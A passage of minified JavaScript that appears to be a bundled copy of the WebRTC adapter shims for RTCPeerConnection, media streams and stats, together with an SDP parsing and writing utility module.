exists.","InvalidAccessError")}),!this._reverseStreams[u.id]){const l=new i.MediaStream(u.getTracks());this._streams[u.id]=l,this._reverseStreams[l.id]=u,u=l}n.apply(this,[u])};const r=i.RTCPeerConnection.prototype.removeStream;i.RTCPeerConnection.prototype.removeStream=function(u){this._streams=this._streams||{},this._reverseStreams=this._reverseStreams||{},r.apply(this,[this._streams[u.id]||u]),delete this._reverseStreams[this._streams[u.id]?this._streams[u.id].id:u.id],delete this._streams[u.id]},i.RTCPeerConnection.prototype.addTrack=function(u,l){if(this.signalingState==="closed")throw new DOMException("The RTCPeerConnection's signalingState is 'closed'.","InvalidStateError");const h=[].slice.call(arguments,1);if(h.length!==1||!h[0].getTracks().find(g=>g===u))throw new DOMException("The adapter.js addTrack polyfill only supports a single  stream which is associated with the specified track.","NotSupportedError");if(this.getSenders().find(g=>g.track===u))throw new DOMException("Track already exists.","InvalidAccessError");this._streams=this._streams||{},this._reverseStreams=this._reverseStreams||{};const v=this._streams[l.id];if(v)v.addTrack(u),Promise.resolve().then(()=>{this.dispatchEvent(new Event("negotiationneeded"))});else{const g=new i.MediaStream([u]);this._streams[l.id]=g,this._reverseStreams[g.id]=l,this.addStream(g)}return this.getSenders().find(g=>g.track===u)};function s(d,u){let l=u.sdp;return Object.keys(d._reverseStreams||[]).forEach(h=>{const f=d._reverseStreams[h],v=d._streams[f.id];l=l.replace(new RegExp(v.id,"g"),f.id)}),new RTCSessionDescription({type:u.type,sdp:l})}function o(d,u){let l=u.sdp;return Object.keys(d._reverseStreams||[]).forEach(h=>{const f=d._reverseStreams[h],v=d._streams[f.id];l=l.replace(new RegExp(f.id,"g"),v.id)}),new RTCSessionDescription({type:u.type,sdp:l})}["createOffer","createAnswer"].forEach(function(d){const u=i.RTCPeerConnection.prototype[d],l={[d](){const h=arguments;return arguments.length&&typeof arguments[0]=="function"?u.apply(this,[v=>{const g=s(this,v);h[0].apply(null,[g])},v=>{h[1]&&h[1].apply(null,v)},arguments[2]]):u.apply(this,arguments).then(v=>s(this,v))}};i.RTCPeerConnection.prototype[d]=l[d]});const a=i.RTCPeerConnection.prototype.setLocalDescription;i.RTCPeerConnection.prototype.setLocalDescription=function(){return!arguments.length||!arguments[0].type?a.apply(this,arguments):(arguments[0]=o(this,arguments[0]),a.apply(this,arguments))};const c=Object.getOwnPropertyDescriptor(i.RTCPeerConnection.prototype,"localDescription");Object.defineProperty(i.RTCPeerConnection.prototype,"localDescription",{get(){const d=c.get.apply(this);return d.type===""?d:s(this,d)}}),i.RTCPeerConnection.prototype.removeTrack=function(u){if(this.signalingState==="closed")throw new DOMException("The RTCPeerConnection's signalingState is 'closed'.","InvalidStateError");if(!u._pc)throw new DOMException("Argument 1 of RTCPeerConnection.removeTrack does not implement interface RTCRtpSender.","TypeError");if(!(u._pc===this))throw new DOMException("Sender was not created by this connection.","InvalidAccessError");this._streams=this._streams||{};let h;Object.keys(this._streams).forEach(f=>{this._streams[f].getTracks().find(g=>u.track===g)&&(h=this._streams[f])}),h&&(h.getTracks().length===1?this.removeStream(this._reverseStreams[h.id]):h.removeTrack(u.track),this.dispatchEvent(new Event("negotiationneeded")))}}function Di(i,e){!i.RTCPeerConnection&&i.webkitRTCPeerConnection&&(i.RTCPeerConnection=i.webkitRTCPeerConnection),i.RTCPeerConnection&&e.version<53&&["setLocalDescription","setRemoteDescription","addIceCandidate"].forEach(function(t){const n=i.RTCPeerConnection.prototype[t],r={[t](){return arguments[0]=new(t==="addIceCandidate"?i.RTCIceCandidate:i.RTCSessionDescription)(arguments[0]),n.apply(this,arguments)}};i.RTCPeerConnection.prototype[t]=r[t]})}function ws(i,e){Fe(i,"negotiationneeded",t=>{const n=t.target;if(!((e.version<72||n.getConfiguration&&n.getConfiguration().sdpSemantics==="plan-b")&&n.signalingState!=="stable"))return t})}var Gn=Object.freeze({__proto__:null,fixNegotiationNeeded:ws,shimAddTrackRemoveTrack:Es,shimAddTrackRemoveTrackWithNative:Ps,shimGetDisplayMedia:Nc,shimGetSendersWithDtmf:Ts,shimGetStats:Ss,shimGetUserMedia:bs,shimMediaStream:ys,shimOnTrack:ks,shimPeerConnection:Di,shimSenderReceiverGetStats:Cs});function Rs(i,e){const t=i&&i.navigator,n=i&&i.MediaStreamTrack;if(t.getUserMedia=function(r,s,o){dn("navigator.getUserMedia","navigator.mediaDevices.getUserMedia"),t.mediaDevices.getUserMedia(r).then(s,o)},!(e.version>55&&"autoGainControl"in t.mediaDevices.getSupportedConstraints())){const r=function(o,a,c){a in o&&!(c in o)&&(o[c]=o[a],delete o[a])},s=t.mediaDevices.getUserMedia.bind(t.mediaDevices);if(t.mediaDevices.getUserMedia=function(o){return typeof o=="object"&&typeof o.audio=="object"&&(o=JSON.parse(JSON.stringify(o)),r(o.audio,"autoGainControl","mozAutoGainControl"),r(o.audio,"noiseSuppression","mozNoiseSuppression")),s(o)},n&&n.prototype.getSettings){const o=n.prototype.getSettings;n.prototype.getSettings=function(){const a=o.apply(this,arguments);return r(a,"mozAutoGainControl","autoGainControl"),r(a,"mozNoiseSuppression","noiseSuppression"),a}}if(n&&n.prototype.applyConstraints){const o=n.prototype.applyConstraints;n.prototype.applyConstraints=function(a){return this.kind==="audio"&&typeof a=="object"&&(a=JSON.parse(JSON.stringify(a)),r(a,"autoGainControl","mozAutoGainControl"),r(a,"noiseSuppression","mozNoiseSuppression")),o.apply(this,[a])}}}}function Lc(i,e){i.navigator.mediaDevices&&"getDisplayMedia"in i.navigator.mediaDevices||i.navigator.mediaDevices&&(i.navigator.mediaDevices.getDisplayMedia=function(n){if(!(n&&n.video)){const r=new DOMException("getDisplayMedia without video constraints is undefined");return r.name="NotFoundError",r.code=8,Promise.reject(r)}return n.video===!0?n.video={mediaSource:e}:n.video.mediaSource=e,i.navigator.mediaDevices.getUserMedia(n)})}function _s(i){typeof i=="object"&&i.RTCTrackEvent&&"receiver"in i.RTCTrackEvent.prototype&&!("transceiver"in i.RTCTrackEvent.prototype)&&Object.defineProperty(i.RTCTrackEvent.prototype,"transceiver",{get(){return{receiver:this.receiver}}})}function Ai(i,e){if(typeof i!="object"||!(i.RTCPeerConnection||i.mozRTCPeerConnection))return;!i.RTCPeerConnection&&i.mozRTCPeerConnection&&(i.RTCPeerConnection=i.mozRTCPeerConnection),e.version<53&&["setLocalDescription","setRemoteDescription","addIceCandidate"].forEach(function(r){const s=i.RTCPeerConnection.prototype[r],o={[r](){return arguments[0]=new(r==="addIceCandidate"?i.RTCIceCandidate:i.RTCSessionDescription)(arguments[0]),s.apply(this,arguments)}};i.RTCPeerConnection.prototype[r]=o[r]});const t={inboundrtp:"inbound-rtp",outboundrtp:"outbound-rtp",candidatepair:"candidate-pair",localcandidate:"local-candidate",remotecandidate:"remote-candidate"},n=i.RTCPeerConnection.prototype.getStats;i.RTCPeerConnection.prototype.getStats=function(){const[s,o,a]=arguments;return n.apply(this,[s||null]).then(c=>{if(e.version<53&&!o)try{c.forEach(d=>{d.type=t[d.type]||d.type})}catch(d){if(d.name!=="TypeError")throw d;c.forEach((u,l)=>{c.set(l,Object.assign({},u,{type:t[u.type]||u.type}))})}return c}).then(o,a)}}function Is(i){if(!(typeof i=="object"&&i.RTCPeerConnection&&i.RTCRtpSender)||i.RTCRtpSender&&"getStats"in i.RTCRtpSender.prototype)return;const e=i.RTCPeerConnection.prototype.getSenders;e&&(i.RTCPeerConnection.prototype.getSenders=function(){const r=e.apply(this,[]);return r.forEach(s=>s._pc=this),r});const t=i.RTCPeerConnection.prototype.addTrack;t&&(i.RTCPeerConnection.prototype.addTrack=function(){const r=t.apply(this,arguments);return r._pc=this,r}),i.RTCRtpSender.prototype.getStats=function(){return this.track?this._pc.getStats(this.track):Promise.resolve(new Map)}}function Os(i){if(!(typeof i=="object"&&i.RTCPeerConnection&&i.RTCRtpSender)||i.RTCRtpSender&&"getStats"in i.RTCRtpReceiver.prototype)return;const e=i.RTCPeerConnection.prototype.getReceivers;e&&(i.RTCPeerConnection.prototype.getReceivers=function(){const n=e.apply(this,[]);return n.forEach(r=>r._pc=this),n}),Fe(i,"track",t=>(t.receiver._pc=t.srcElement,t)),i.RTCRtpReceiver.prototype.getStats=function(){return this._pc.getStats(this.track)}}function xs(i){!i.RTCPeerConnection||"removeStream"in i.RTCPeerConnection.prototype||(i.RTCPeerConnection.prototype.removeStream=function(t){dn("removeStream","removeTrack"),this.getSenders().forEach(n=>{n.track&&t.getTracks().includes(n.track)&&this.removeTrack(n)})})}function Ms(i){i.DataChannel&&!i.RTCDataChannel&&(i.RTCDataChannel=i.DataChannel)}function Ds(i){if(!(typeof i=="object"&&i.RTCPeerConnection))return;const e=i.RTCPeerConnection.prototype.addTransceiver;e&&(i.RTCPeerConnection.prototype.addTransceiver=function(){this.setParametersPromises=[];let n=arguments[1]&&arguments[1].sendEncodings;n===void 0&&(n=[]),n=[...n];const r=n.length>0;r&&n.forEach(o=>{if("rid"in o&&!/^[a-z0-9]{0,16}$/i.test(o.rid))throw new TypeError("Invalid RID value provided.");if("scaleResolutionDownBy"in o&&!(parseFloat(o.scaleResolutionDownBy)>=1))throw new RangeError("scale_resolution_down_by must be >= 1.0");if("maxFramerate"in o&&!(parseFloat(o.maxFramerate)>=0))throw new RangeError("max_framerate must be >= 0.0")});const s=e.apply(this,arguments);if(r){const{sender:o}=s,a=o.getParameters();(!("encodings"in a)||a.encodings.length===1&&Object.keys(a.encodings[0]).length===0)&&(a.encodings=n,o.sendEncodings=n,this.setParametersPromises.push(o.setParameters(a).then(()=>{delete o.sendEncodings}).catch(()=>{delete o.sendEncodings})))}return s})}function As(i){if(!(typeof i=="object"&&i.RTCRtpSender))return;const e=i.RTCRtpSender.prototype.getParameters;e&&(i.RTCRtpSender.prototype.getParameters=function(){const n=e.apply(this,arguments);return"encodings"in n||(n.encodings=[].concat(this.sendEncodings||[{}])),n})}function Ns(i){if(!(typeof i=="object"&&i.RTCPeerConnection))return;const e=i.RTCPeerConnection.prototype.createOffer;i.RTCPeerConnection.prototype.createOffer=function(){return this.setParametersPromises&&this.setParametersPromises.length?Promise.all(this.setParametersPromises).then(()=>e.apply(this,arguments)).finally(()=>{this.setParametersPromises=[]}):e.apply(this,arguments)}}function Ls(i){if(!(typeof i=="object"&&i.RTCPeerConnection))return;const e=i.RTCPeerConnection.prototype.createAnswer;i.RTCPeerConnection.prototype.createAnswer=function(){return this.setParametersPromises&&this.setParametersPromises.length?Promise.all(this.setParametersPromises).then(()=>e.apply(this,arguments)).finally(()=>{this.setParametersPromises=[]}):e.apply(this,arguments)}}var Wn=Object.freeze({__proto__:null,shimAddTransceiver:Ds,shimCreateAnswer:Ls,shimCreateOffer:Ns,shimGetDisplayMedia:Lc,shimGetParameters:As,shimGetUserMedia:Rs,shimOnTrack:_s,shimPeerConnection:Ai,shimRTCDataChannel:Ms,shimReceiverGetStats:Os,shimRemoveStream:xs,shimSenderGetStats:Is});function Us(i){if(!(typeof i!="object"||!i.RTCPeerConnection)){if("getLocalStreams"in i.RTCPeerConnection.prototype||(i.RTCPeerConnection.prototype.getLocalStreams=function(){return this._localStreams||(this._localStreams=[]),this._localStreams}),!("addStream"in i.RTCPeerConnection.prototype)){const e=i.RTCPeerConnection.prototype.addTrack;i.RTCPeerConnection.prototype.addStream=function(n){this._localStreams||(this._localStreams=[]),this._localStreams.includes(n)||this._localStreams.push(n),n.getAudioTracks().forEach(r=>e.call(this,r,n)),n.getVideoTracks().forEach(r=>e.call(this,r,n))},i.RTCPeerConnection.prototype.addTrack=function(n){for(var r=arguments.length,s=new Array(r>1?r-1:0),o=1;o<r;o++)s[o-1]=arguments[o];return s&&s.forEach(a=>{this._localStreams?this._localStreams.includes(a)||this._localStreams.push(a):this._localStreams=[a]}),e.apply(this,arguments)}}"removeStream"in i.RTCPeerConnection.prototype||(i.RTCPeerConnection.prototype.removeStream=function(t){this._localStreams||(this._localStreams=[]);const n=this._localStreams.indexOf(t);if(n===-1)return;this._localStreams.splice(n,1);const r=t.getTracks();this.getSenders().forEach(s=>{r.includes(s.track)&&this.removeTrack(s)})})}}function Fs(i){if(!(typeof i!="object"||!i.RTCPeerConnection)&&("getRemoteStreams"in i.RTCPeerConnection.prototype||(i.RTCPeerConnection.prototype.getRemoteStreams=function(){return this._remoteStreams?this._remoteStreams:[]}),!("onaddstream"in i.RTCPeerConnection.prototype))){Object.defineProperty(i.RTCPeerConnection.prototype,"onaddstream",{get(){return this._onaddstream},set(t){this._onaddstream&&(this.removeEventListener("addstream",this._onaddstream),this.removeEventListener("track",this._onaddstreampoly)),this.addEventListener("addstream",this._onaddstream=t),this.addEventListener("track",this._onaddstreampoly=n=>{n.streams.forEach(r=>{if(this._remoteStreams||(this._remoteStreams=[]),this._remoteStreams.includes(r))return;this._remoteStreams.push(r);const s=new Event("addstream");s.stream=r,this.dispatchEvent(s)})})}});const e=i.RTCPeerConnection.prototype.setRemoteDescription;i.RTCPeerConnection.prototype.setRemoteDescription=function(){const n=this;return this._onaddstreampoly||this.addEventListener("track",this._onaddstreampoly=function(r){r.streams.forEach(s=>{if(n._remoteStreams||(n._remoteStreams=[]),n._remoteStreams.indexOf(s)>=0)return;n._remoteStreams.push(s);const o=new Event("addstream");o.stream=s,n.dispatchEvent(o)})}),e.apply(n,arguments)}}}function js(i){if(typeof i!="object"||!i.RTCPeerConnection)return;const e=i.RTCPeerConnection.prototype,t=e.createOffer,n=e.createAnswer,r=e.setLocalDescription,s=e.setRemoteDescription,o=e.addIceCandidate;e.createOffer=function(d,u){const l=arguments.length>=2?arguments[2]:arguments[0],h=t.apply(this,[l]);return u?(h.then(d,u),Promise.resolve()):h},e.createAnswer=function(d,u){const l=arguments.length>=2?arguments[2]:arguments[0],h=n.apply(this,[l]);return u?(h.then(d,u),Promise.resolve()):h};let a=function(c,d,u){const l=r.apply(this,[c]);return u?(l.then(d,u),Promise.resolve()):l};e.setLocalDescription=a,a=function(c,d,u){const l=s.apply(this,[c]);return u?(l.then(d,u),Promise.resolve()):l},e.setRemoteDescription=a,a=function(c,d,u){const l=o.apply(this,[c]);return u?(l.then(d,u),Promise.resolve()):l},e.addIceCandidate=a}function Bs(i){const e=i&&i.navigator;if(e.mediaDevices&&e.mediaDevices.getUserMedia){const t=e.mediaDevices,n=t.getUserMedia.bind(t);e.mediaDevices.getUserMedia=r=>n(Vs(r))}!e.getUserMedia&&e.mediaDevices&&e.mediaDevices.getUserMedia&&(e.getUserMedia=(function(n,r,s){e.mediaDevices.getUserMedia(n).then(r,s)}).bind(e))}function Vs(i){return i&&i.video!==void 0?Object.assign({},i,{video:vs(i.video)}):i}function qs(i){if(!i.RTCPeerConnection)return;const e=i.RTCPeerConnection;i.RTCPeerConnection=function(n,r){if(n&&n.iceServers){const s=[];for(let o=0;o<n.iceServers.length;o++){let a=n.iceServers[o];a.urls===void 0&&a.url?(dn("RTCIceServer.url","RTCIceServer.urls"),a=JSON.parse(JSON.stringify(a)),a.urls=a.url,delete a.url,s.push(a)):s.push(n.iceServers[o])}n.iceServers=s}return new e(n,r)},i.RTCPeerConnection.prototype=e.prototype,"generateCertificate"in e&&Object.defineProperty(i.RTCPeerConnection,"generateCertificate",{get(){return e.generateCertificate}})}function Ks(i){typeof i=="object"&&i.RTCTrackEvent&&"receiver"in i.RTCTrackEvent.prototype&&!("transceiver"in i.RTCTrackEvent.prototype)&&Object.defineProperty(i.RTCTrackEvent.prototype,"transceiver",{get(){return{receiver:this.receiver}}})}function Gs(i){const e=i.RTCPeerConnection.prototype.createOffer;i.RTCPeerConnection.prototype.createOffer=function(n){if(n){typeof n.offerToReceiveAudio<"u"&&(n.offerToReceiveAudio=!!n.offerToReceiveAudio);const r=this.getTransceivers().find(o=>o.receiver.track.kind==="audio");n.offerToReceiveAudio===!1&&r?r.direction==="sendrecv"?r.setDirection?r.setDirection("sendonly"):r.direction="sendonly":r.direction==="recvonly"&&(r.setDirection?r.setDirection("inactive"):r.direction="inactive"):n.offerToReceiveAudio===!0&&!r&&this.addTransceiver("audio",{direction:"recvonly"}),typeof n.offerToReceiveVideo<"u"&&(n.offerToReceiveVideo=!!n.offerToReceiveVideo);const s=this.getTransceivers().find(o=>o.receiver.track.kind==="video");n.offerToReceiveVideo===!1&&s?s.direction==="sendrecv"?s.setDirection?s.setDirection("sendonly"):s.direction="sendonly":s.direction==="recvonly"&&(s.setDirection?s.setDirection("inactive"):s.direction="inactive"):n.offerToReceiveVideo===!0&&!s&&this.addTransceiver("video",{direction:"recvonly"})}return e.apply(this,arguments)}}function Ws(i){typeof i!="object"||i.AudioContext||(i.AudioContext=i.webkitAudioContext)}var zn=Object.freeze({__proto__:null,shimAudioContext:Ws,shimCallbacksAPI:js,shimConstraints:Vs,shimCreateOfferLegacy:Gs,shimGetUserMedia:Bs,shimLocalStreamsAPI:Us,shimRTCIceServerUrls:qs,shimRemoteStreamsAPI:Fs,shimTrackEventTransceiver:Ks}),zs={exports:{}};(function(i){const e={};e.generateIdentifier=function(){return Math.random().toString(36).substring(2,12)},e.localCName=e.generateIdentifier(),e.splitLines=function(t){return t.trim().split(`
`).map(n=>n.trim())},e.splitSections=function(t){return t.split(`
m=`).map((r,s)=>(s>0?"m="+r:r).trim()+`\r
`)},e.getDescription=function(t){const n=e.splitSections(t);return n&&n[0]},e.getMediaSections=function(t){const n=e.splitSections(t);return n.shift(),n},e.matchPrefix=function(t,n){return e.splitLines(t).filter(r=>r.indexOf(n)===0)},e.parseCandidate=function(t){let n;t.indexOf("a=candidate:")===0?n=t.substring(12).split(" "):n=t.substring(10).split(" ");const r={foundation:n[0],component:{1:"rtp",2:"rtcp"}[n[1]]||n[1],protocol:n[2].toLowerCase(),priority:parseInt(n[3],10),ip:n[4],address:n[4],port:parseInt(n[5],10),type:n[7]};for(let s=8;s<n.length;s+=2)switch(n[s]){case"raddr":r.relatedAddress=n[s+1];break;case"rport":r.relatedPort=parseInt(n[s+1],10);break;case"tcptype":r.tcpType=n[s+1];break;case"ufrag":r.ufrag=n[s+1],r.usernameFragment=n[s+1];break;default:r[n[s]]===void 0&&(r[n[s]]=n[s+1]);break}return r},e.writeCandidate=function(t){const n=[];n.push(t.foundation);const r=t.component;r==="rtp"?n.push(1):r==="rtcp"?n.push(2):n.push(r),n.push(t.protocol.toUpperCase()),n.push(t.priority),n.push(t.address||t.ip),n.push(t.port);const s=t.type;return n.push("typ"),n.push(s),s!=="host"&&t.relatedAddress&&t.relatedPort&&(n.push("raddr"),n.push(t.relatedAddress),n.push("rport"),n.push(t.relatedPort)),t.tcpType&&t.protocol.toLowerCase()==="tcp"&&(n.push("tcptype"),n.push(t.tcpType)),(t.usernameFragment||t.ufrag)&&(n.push("ufrag"),n.push(t.usernameFragment||t.ufrag)),"candidate:"+n.join(" ")},e.parseIceOptions=function(t){return t.substring(14).split(" ")},e.parseRtpMap=function(t){let n=t.substring(9).split(" ");const r={payloadType:parseInt(n.shift(),10)};return n=n[0].split("/"),r.name=n[0],r.clockRate=parseInt(n[1],10),r.channels=n.length===3?parseInt(n[2],10):1,r.numChannels=r.channels,r},e.writeRtpMap=function(t){let n=t.payloadType;t.preferredPayloadType!==void 0&&(n=t.preferredPayloadType);const r=t.channels||t.numChannels||1;return"a=rtpmap:"+n+" "+t.name+"/"+t.clockRate+(r!==1?"/"+r:"")+`\r
`},e.parseExtmap=function(t){const n=t.substring(9).split(" ");return{id:parseInt(n[0],10),direction:n[0].indexOf("/")>0?n[0].split("/")[1]:"sendrecv",uri:n[1],attributes:n.slice(2).join(" ")}},e.writeExtmap=function(t){return"a=extmap:"+(t.id||t.preferredId)+(t.direction&&t.direction!=="sendrecv"?"/"+t.direction:"")+" "+t.uri+(t.attributes?" "+t.attributes:"")+`\r
`},e.parseFmtp=function(t){const n={};let r;const s=t.substring(t.indexOf(" ")+1).split(";");for(let o=0;o<s.length;o++)r=s[o].trim().split("="),n[r[0].trim()]=r[1];return n},e.writeFmtp=function(t){let n="",r=t.payloadType;if(t.preferredPayloadType!==void 0&&(r=t.preferredPayloadType),t.parameters&&Object.keys(t.parameters).length){const s=[];Object.keys(t.parameters).forEach(o=>{t.parameters[o]!==void 0?s.push(o+"="+t.parameters[o]):s.push(o)}),n+="a=fmtp:"+r+" "+s.join(";")+`\r
`}return n},e.parseRtcpFb=function(t){const n=t.substring(t.indexOf(" ")+1).split(" ");return{type:n.shift(),parameter:n.join(" ")}},e.writeRtcpFb=function(t){let n="",r=t.payloadType;return t.preferredPayloadType!==void 0&&(r=t.preferredPayloadType),t.rtcpFeedback&&t.rtcpFeedback.length&&t.rtcpFeedback.forEach(s=>{n+="a=rtcp-fb:"+r+" "+s.type+(s.parameter&&s.parameter.length?" "+s.parameter:"")+`\r
`}),n},e.parseSsrcMedia=function(t){const n=t.indexOf(" "),r={ssrc:parseInt(t.substring(7,n),10)},s=t.indexOf(":",n);return s>-1?(r.attribute=t.substring(n+1,s),r.value=t.substring(s+1)):r.attribute=t.substring(n+1),r},e.parseSsrcGroup=function(t){const n=t.substring(13).split(" ");return{semantics:n.shift(),ssrcs:n.map(r=>parseInt(r,10))}},e.getMid=function(t){const n=e.matchPrefix(t,"a=mid:")[0];if(n)return n.substring(6)},e.parseFingerprint=function(t){const n=t.substring(14).split(" ");return{algorithm:n[0].toLowerCase(),value:n[1].toUpperCase()}},e.getDtlsParameters=function(t,n){return{role:"auto",fingerprints:e.matchPrefix(t+n,"a=fingerprint:").map(e.parseFingerprint)}},e.writeDtlsParameters=function(t,n){let r="a=setup:"+n+`\r
`;return t.fingerprints.forEach(s=>{r+="a=fingerprint:"+s.algorithm+" "+s.value+`\r
`}),r},e.parseCryptoLine=function(t){const n=t.substring(9).split(" ");return{tag:parseInt(n[0],10),cryptoSuite:n[1],keyParams:n[2],sessionParams:n.slice(3)}},e.writeCryptoLine=function(t){return"a=crypto:"+t.tag+" "+t.cryptoSuite+" "+(typeof t.keyParams=="object"?e.writeCryptoKeyParams(t.keyParams):t.keyParams)+(t.sessionParams?" "+t.sessionParams.join(" "):"")+`\r
`},e.parseCryptoKeyParams=function(t){if(t.indexOf("inline:")!==0)return null;const n=t.substring(7).split("|");return{keyMethod:"inline",keySalt:n[0],lifeTime:n[1],mkiValue:n[2]?n[2].split(":")[0]:void 0,mkiLength:n[2]?n[2].split(":")[1]:void 0}},e.writeCryptoKeyParams=function(t){return t.keyMethod+":"+t.keySalt+(t.lifeTime?"|"+t.lifeTime:"")+(t.mkiValue&&t.mkiLength?"|"+t.mkiValue+":"+t.mkiLength:"")},e.getCryptoParameters=function(t,n){return e.matchPrefix(t+n,"a=crypto:").map(e.parseCryptoLine)},e.getIceParameters=function(t,n){const r=e.matchPrefix(t+n,"a=ice-ufrag:")[0],s=e.matchPrefix(t+n,"a=ice-pwd:")[0];return r&&s?{usernameFragment:r.substring(12),password:s.substring(10)}:null},e.writeIceParameters=function(t){let n="a=ice-ufrag:"+t.usernameFragment+`\r
a=ice-pwd:`+t.password+`\r
`;return t.iceLite&&(n+=`a=ice-lite\r
`),n},e.parseRtpParameters=function(t){const n={codecs:[],headerExtensions:[],fecMechanisms:[],rtcp:[]},s=e.splitLines(t)[0].split(" ");n.profile=s[2];for(let a=3;a<s.length;a++){const c=s[a],d=e.matchPrefix(t,"a=rtpmap:"+c+" ")[0];if(d){const u=e.parseRtpMap(d),l=e.matchPrefix(t,"a=fmtp:"+c+" ");switch(u.parameters=l.length?e.parseFmtp(l[0]):{},u.rtcpFeedback=e.matchPrefix(t,"a=rtcp-fb:"+c+" ").map(e.parseRtcpFb),n.codecs.push(u),u.name.toUpperCase()){case"RED":case"ULPFEC":n.fecMechanisms.push(u.name.toUpperCase());break}}}e.matchPrefix(t,"a=extmap:").forEach(a=>{n.headerExtensions.push(e.parseExtmap(a))});const o=e.matchPrefix(t,"a=rtcp-fb:* ").map(e.parseRtcpFb);return n.codecs.forEach(a=>{o.forEach(c=>{a.rtcpFeedback.find(u=>u.type===c.type&&u.parameter===c.parameter)||a.rtcpFeedback.push(c)})}),n},e.writeRtpDescription=function(t,n){let r="";r+="m="+t+" ",r+=n.codecs.length>0?"9":"0",r+=" "+(n.profile||"UDP/TLS/RTP/SAVPF")+" ",r+=n.codecs.map(o=>o.preferredPayloadType!==void 0?o.preferredPayloadType:o.payloadType).join(" ")+`\r
`,r+=`c=IN IP4 0.0.0.0\r
`,r+=`a=rtcp:9 IN IP4 0.0.0.0\r
`,n.codecs.forEach(o=>{r+=e.writeRtpMap(o),r+=e.writeFmtp(o),r+=e.writeRtcpFb(o)});let s=0;return n.codecs.forEach(o=>{o.maxptime>s&&(s=o.maxptime)}),s>0&&(r+="a=maxptime:"+s+`\r
`),n.headerExtensions&&n.headerExtensions.forEach(o=>{r+=e.writeExtmap(o)}),r},e.parseRtpEncodingParameters=function(t){const n=[],r=e.parseRtpParameters(t),s=r.fecMechanisms.indexOf("RED")!==-1,o=r.fecMechanisms.indexOf("ULPFEC")!==-1,a=e.matchPrefix(t,"a=ssrc:").map(h=>e.parseSsrcMedia(h)).filter(h=>h.attribute==="cname"),c=a.length>0&&a[0].ssrc;let d;const u=e.matchPrefix(t,"a=ssrc-group:FID").map(h=>h.substring(17).split(" ").map(v=>parseInt(v,10)));u.length>0&&u[0].length>1&&u[0][0]===c&&(d=u[0][1]),r.codecs.forEach(h=>{if(h.name.toUpperCase()==="RTX"&&h.parameters.apt){let f={ssrc:c,codecPayloadType:parseInt(h.parameters.apt,10)};c&&d&&(f.rtx={ssrc:d}),n.push(f),s&&(f=JSON.parse(JSON.stringify(f)),f.fec={ssrc:c,mechanism:o?"red+ulpfec":"red"},n.push(f))}}),n.length===0&&c&&n.push({ssrc:c});let l=e.matchPrefix(t,"b=");return l.length&&(l[0].indexOf("b=TIAS:")===0?l=parseInt(l[0].substring(7),10):l[0].indexOf("b=AS:")===0?l=parseInt(l[0].substring(5),10)*1e3*.95-50*40*8:l=void 0,n.forEach(h=>{h.maxBitrate=l})),n},e.parseRtcpParameters=function(t){const n={},r=e.matchPrefix(t,"a=ssrc:").map(a=>e.parseSsrcMedia(a)).filter(a=>a.attribute==="cname")[0];r&&(n.cname=r.value,n.ssrc=r.ssrc);const s=e.matchPrefix(t,"a=rtcp-rsize");n.reducedSize=s.length>0,n.compound=s.length===0;const o=e.matchPrefix(t,"a=rtcp-mux");return n.mux=o.length>0,n},e.writeRtcpParameters=function(t){let n="";return t.reducedSize&&(n+=`a=rtcp-rsize\r
`),t.mux&&(n+=`a=rtcp-mux\r
`),t.ssrc!==void 0&&t.cname&&(n+="a=ssrc:"+t.ssrc+" cname:"+t.cname+`\r
`),n},e.parseMsid=function(t){let n;const r=e.matchPrefix(t,"a=msid:");if(r.length===1)return n=r[0].substring(7).split(" "),{stream:n[0],track:n[1]};const s=e.matchPrefix(t,"a=ssrc:").map(o=>e.parseSsrcMedia(o)).filter(o=>o.attribute==="msid");if(s.length>0)return n=s[0].value.split(" "),{stream:n[0],track:n[1]}},e.parseSctpDescription=function(t){const n=e.parseMLine(t),r=e.matchPrefix(t,"a=max-message-size:");let s;r.length>0&&(s=parseInt(r[0].substring(19),10)),isNaN(s)&&(s=65536);const o=e.matchPrefix(t,"a=sctp-port:");if(o.length>0)return{port:parseInt(o[0].substring(12),10),protocol:n.fmt,maxMessageSize:s};const a=e.matchPrefix(t,"a=sctpmap:");if(a.length>0){const c=a[0].substring(10).split(" ");return{port:parseInt(c[0],10),protocol:c[1],maxMessageSize:s}}},e.writeSctpDescription=function(t,n){let r=[];return t.protocol!=="DTLS/SCTP"?r=["m="+t.kind+" 9 "+t.protocol+" "+n.protocol+`\r
`,`c=IN IP4 0.0.0.0\r
`,"a=sctp-port:"+n.port+`\r
`]:r=["m="+t.kind+" 9 "+t.protocol+" "+n.port+`\r
`,`c=IN IP4 0.0.0.0\r
`,"a=sctpmap:"+n.port+" "+n.protocol+` 65535\r
`],n.maxMessageSize!==void 0&&r.push("a=max-message-size:"+n.maxMessageSize+`\r
`),r.join("")},e.generateSessionId=function(){return Math.random().toString().substr(2,22)},e.writeSessionBoilerplate=function(t,n,r){let s;const o=n!==void 0?n:2;return t?s=t:s=e.generateSessionId(),`v=0\r
o=`+(r||"thisisadapterortc")+" "+s+" "+o+` IN IP4 127.0.0.1\r
s=-\r
t=0 0\r
`},e.getDirection=function(t,n){const r=e.splitLines(t);for(let s=0;s<r.length;s++)switch(r[s]){case"a=sendrecv":case"a=sendonly":case"a=recvonly":case"a=inactive":return r[s].substring(2)}return n?e.getDirection(n):"sendrecv"},e.getKind=function(t){return e.splitLines(t)[0].split(" ")[0].substring(2)},e.isRejected=function(t){return t.split(" ",2)[1]==="0"},e.parseMLine=function(t){const r=e.splitLines(t)[0].substring(2).split(" ");return{kind:r[0],port:parseInt(r[1],10),protocol:r[2],fmt:r.slice(3).join(" ")}},e.parseOLine=function(t){const r=e.matchPrefix(t,"o=")[0].substring(2).split(" ");return{username:r[0],sessionId:r[1],sessionVersion:parseInt(r[2],10),netType:r[3],addressType:r[4],address:r[5]}},e.isValidSDP=function(t){if(typeof t!="string"||t.length===0)return!1;const n=e.splitLines(t);for(let r=0;r<n.length;r++)if(n[r].length<2||n[r].charAt(1)!=="=")return!1;return!0},i.exports=e})(zs);var Hs=zs.exports,He=Sc(Hs),Uc=ta({__proto__:null,default:He},[Hs]);function Ut(i){if(!i.RTCIceCandidate||i.RTCIceCandidate&&"foundation"in i.RTCIceCandidate.prototype)return;const e=i.RTCIceCandidate;i.RTCIceCandidate=function(n){if(typeof n=="object"&&n.candidate&&n.candidate.indexOf("a=")===0&&(n=JSON.parse(JSON.stringify(n)),n.candidate=n.candidate.substring(2)),n.candidate&&n.candidate.length){const r=new e(n),s=He.parseCandidate(n.candidate);for(const o in s)o in 